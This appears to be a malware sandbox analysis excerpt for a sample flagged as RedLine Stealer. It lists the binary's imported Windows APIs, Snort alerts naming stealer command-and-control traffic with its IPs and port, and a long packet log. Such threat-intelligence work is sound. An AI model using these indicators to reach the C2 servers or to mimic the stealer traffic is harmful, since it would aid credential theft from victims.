KERNEL32.dll	GetUserDefaultLCID, GetStringTypeW, GetStringTypeA, GetLocaleInfoA, IsValidCodePage, GetOEMCP, GetACP, HeapSize, CloseHandle, SetFilePointer, ReadFile, FlushFileBuffers, GetConsoleMode, GetConsoleCP, GetSystemTimeAsFileTime, GetCurrentProcessId, GetTickCount, QueryPerformanceCounter, GetStartupInfoA, GetFileType, SetHandleCount, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsA, GetCurrentThreadId, SetLastError, TlsFree, TlsSetValue, EnumSystemLocalesA, TlsGetValue, GetModuleFileNameA, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleW, HeapCreate, HeapReAlloc, VirtualAlloc, VirtualFree, GetCPInfo, LCMapStringW, WideCharToMultiByte, LCMapStringA, HeapFree, GetLastError, IsDebuggerPresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetCommandLineA, RaiseException, RtlUnwind, HeapAlloc, LeaveCriticalSection, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, IsValidLocale, InitializeCriticalSectionAndSpinCount, LoadLibraryA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, GetLocaleInfoW, Sleep, CreateFileA, CreateEventW, AddAtomW, GetCurrentThread, IsProcessorFeaturePresent, DeleteAtom, SetEvent, InitializeCriticalSection, AssignProcessToJobObject, CreateFileW, QueryPerformanceFrequency, SetThreadLocale, GetProcessTimes, ResetEvent, EnterCriticalSection, GetFileAttributesExW, GetFileSize, FreeConsole, CreateMutexW, GetFileSizeEx, SetEndOfFile, SetProcessAffinityMask, CreateThread, MultiByteToWideChar, GetModuleHandleA, GetProcAddress, TlsAlloc
USER32.dll	GetWindowLongA, wvsprintfA, SetWindowPos, FindWindowA, RedrawWindow, GetWindowTextA, EnableWindow, GetSystemMetrics, IsWindow, CheckRadioButton, UnregisterClassA, SetCursor, GetSysColorBrush, DialogBoxParamA, DestroyAcceleratorTable, DispatchMessageA, TranslateMessage, LoadIconA, EmptyClipboard, SetClipboardData, SetFocus, CharUpperA, OpenClipboard, IsDialogMessageA, TranslateAcceleratorA, GetMessageA, LoadAcceleratorsA, RemoveMenu, InvalidateRect, ChildWindowFromPoint, PostMessageA, DestroyCursor, CreateDialogParamA, GetWindowRect, IsMenu, GetSubMenu, SetDlgItemInt, GetWindowPlacement, CharLowerBuffA, EnableMenuItem, CheckMenuRadioItem, GetSysColor, KillTimer, DestroyIcon, DestroyWindow, PostQuitMessage, GetClientRect, MoveWindow, GetSystemMenu, SetTimer, SetWindowPlacement, InsertMenuItemA, GetMenu, CheckMenuItem, SetMenuItemInfoA, SetActiveWindow, DefDlgProcA, RegisterClassA, EndDialog, SetDlgItemTextA, EnumClipboardFormats, GetClipboardData, CloseClipboard, GetClassInfoA, CallWindowProcA, SetWindowLongA, IsDlgButtonChecked, SetWindowTextA, CheckDlgButton, GetActiveWindow, LoadCursorA, MessageBoxA, wsprintfA, GetDlgItemTextA, SendMessageA, GetCursorPos, TrackPopupMenu, ClientToScreen, DestroyMenu, CreatePopupMenu, AppendMenuA, SendDlgItemMessageA, GetDlgItem
GDI32.dll	SelectObject, SetMiterLimit, SetTextColor, SetBkMode, GetObjectA, GetStockObject, CreateFontIndirectA, DeleteObject
COMDLG32.dll	ChooseColorW, GetFileTitleW, PageSetupDlgW, FindTextW, PrintDlgW, GetOpenFileNameW, GetSaveFileNameW, PrintDlgExW, GetOpenFileNameA, ChooseFontW, GetSaveFileNameA, ReplaceTextW
ADVAPI32.dll	RegCloseKey, RegQueryValueExA, OpenProcessToken, RegCreateKeyA, RegSetValueA, GetUserNameA, RegDeleteKeyA, RegOpenKeyExA, AdjustTokenPrivileges, LookupPrivilegeValueA
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_SetBkColor, CreateToolbarEx, ImageList_Remove, ImageList_ReplaceIcon, InitCommonControlsEx

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4172.66.40.196497044432039616 11/24/22-13:28:27.179038	TCP	2039616	ET TROJAN Win32/Agent.AETZ CnC Checkin	49704	443	192.168.2.4	172.66.40.196
192.168.2.437.220.87.249700279242850286 11/24/22-13:27:49.318530	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49700	27924	192.168.2.4	37.220.87.2
192.168.2.437.220.87.249700279242850027 11/24/22-13:27:33.299089	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49700	27924	192.168.2.4	37.220.87.2
37.220.87.2192.168.2.427924497002850353 11/24/22-13:27:34.756753	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	27924	49700	37.220.87.2	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2022 13:27:32.893671036 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:32.922997952 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:32.923223972 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:33.299088955 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:33.328535080 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:33.346991062 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:33.414269924 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:34.708440065 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:34.737662077 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:34.756752968 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:34.914417982 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:41.939127922 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:41.969800949 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:41.989429951 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:41.989450932 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:41.989484072 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:41.989553928 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:42.118119001 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:43.843502998 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:43.892070055 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:44.118329048 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:44.415090084 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:44.465147972 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:44.475807905 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:44.523255110 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:44.613862038 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:44.631433964 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:44.681035995 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:44.805839062 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:45.794897079 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:45.843132973 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:45.915307999 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.234973907 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.264362097 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.264374018 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.264467955 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.264571905 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.264662981 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.294370890 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294488907 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294596910 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294728041 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.294729948 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294773102 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.294795990 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294863939 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294936895 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.294984102 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.294984102 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.295006990 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.324096918 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.324193954 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.324203968 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.324332952 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.324451923 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.324461937 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.324584007 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.325412989 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325427055 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325473070 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325517893 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325520039 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.325568914 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325586081 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.325812101 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.325845957 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.326133966 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.326143980 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.326220036 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.326253891 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.330957890 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.353637934 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353765011 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353837013 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353873968 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353893995 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353948116 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353966951 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.353970051 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.353987932 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354008913 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354008913 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.354034901 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.354134083 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354154110 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354760885 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354923010 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354943037 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354974031 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.354993105 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355101109 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355119944 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355258942 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355281115 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355310917 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355329990 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355421066 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.355492115 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355515003 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355535984 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.355545998 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355611086 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355643034 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.355832100 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.360208035 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.360228062 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383395910 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383413076 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383616924 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383629084 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383713007 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383856058 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.383867025 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.384381056 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.384392977 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.384902000 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.384913921 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385059118 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385070086 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385255098 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385266066 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385324001 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385334015 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.385425091 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.385710001 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385721922 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385740042 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385772943 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.385788918 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386090040 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386106014 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386140108 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386349916 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386382103 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386627913 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386641026 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386651039 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.386723995 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.387022972 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.387041092 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.387096882 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.387109041 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.387124062 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.390613079 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.390688896 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.414732933 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414747953 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414762020 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414773941 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414870977 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414969921 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.414978981 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415045023 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415054083 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415204048 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415211916 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415361881 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415369987 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415394068 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415601969 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415610075 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415628910 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415807009 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.415816069 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.416157961 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.416275024 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.420078039 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420093060 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420222998 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420344114 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420480013 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420492887 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420553923 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420669079 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420828104 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.420838118 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421088934 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421099901 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421197891 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421401978 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421411037 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421641111 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421650887 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421720028 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.421734095 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.422523975 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.425601006 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.425698042 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.445614100 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445638895 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445713997 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445734978 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445789099 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445808887 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445836067 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445856094 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445875883 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445904970 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445926905 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445957899 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.445976973 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446072102 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446091890 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446142912 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446162939 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446182966 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446244955 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446264982 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.446835995 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.446971893 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.455316067 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455344915 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455363035 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455410957 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455437899 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455487967 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455857038 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455938101 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455956936 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.455995083 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456013918 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456116915 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456136942 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456177950 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456217051 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456379890 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456398964 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456475973 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456504107 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456521988 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456549883 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456568956 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456799984 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456876993 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.456942081 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.459281921 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.459389925 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.476130962 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476229906 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476239920 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476362944 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476372004 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476479053 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476488113 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476557016 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476598024 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476701975 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476713896 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476809025 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476821899 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476928949 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476962090 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.476989985 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477011919 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477077007 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477086067 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477169991 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477236986 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477404118 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477433920 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.477447033 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.479480028 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.479585886 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.488662004 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.488778114 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.488796949 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.488944054 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.488955021 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.488962889 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489021063 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489080906 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489090919 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489248037 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489270926 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489542007 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489566088 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489574909 CET	27924	49700	37.220.87.2	192.168.2.4
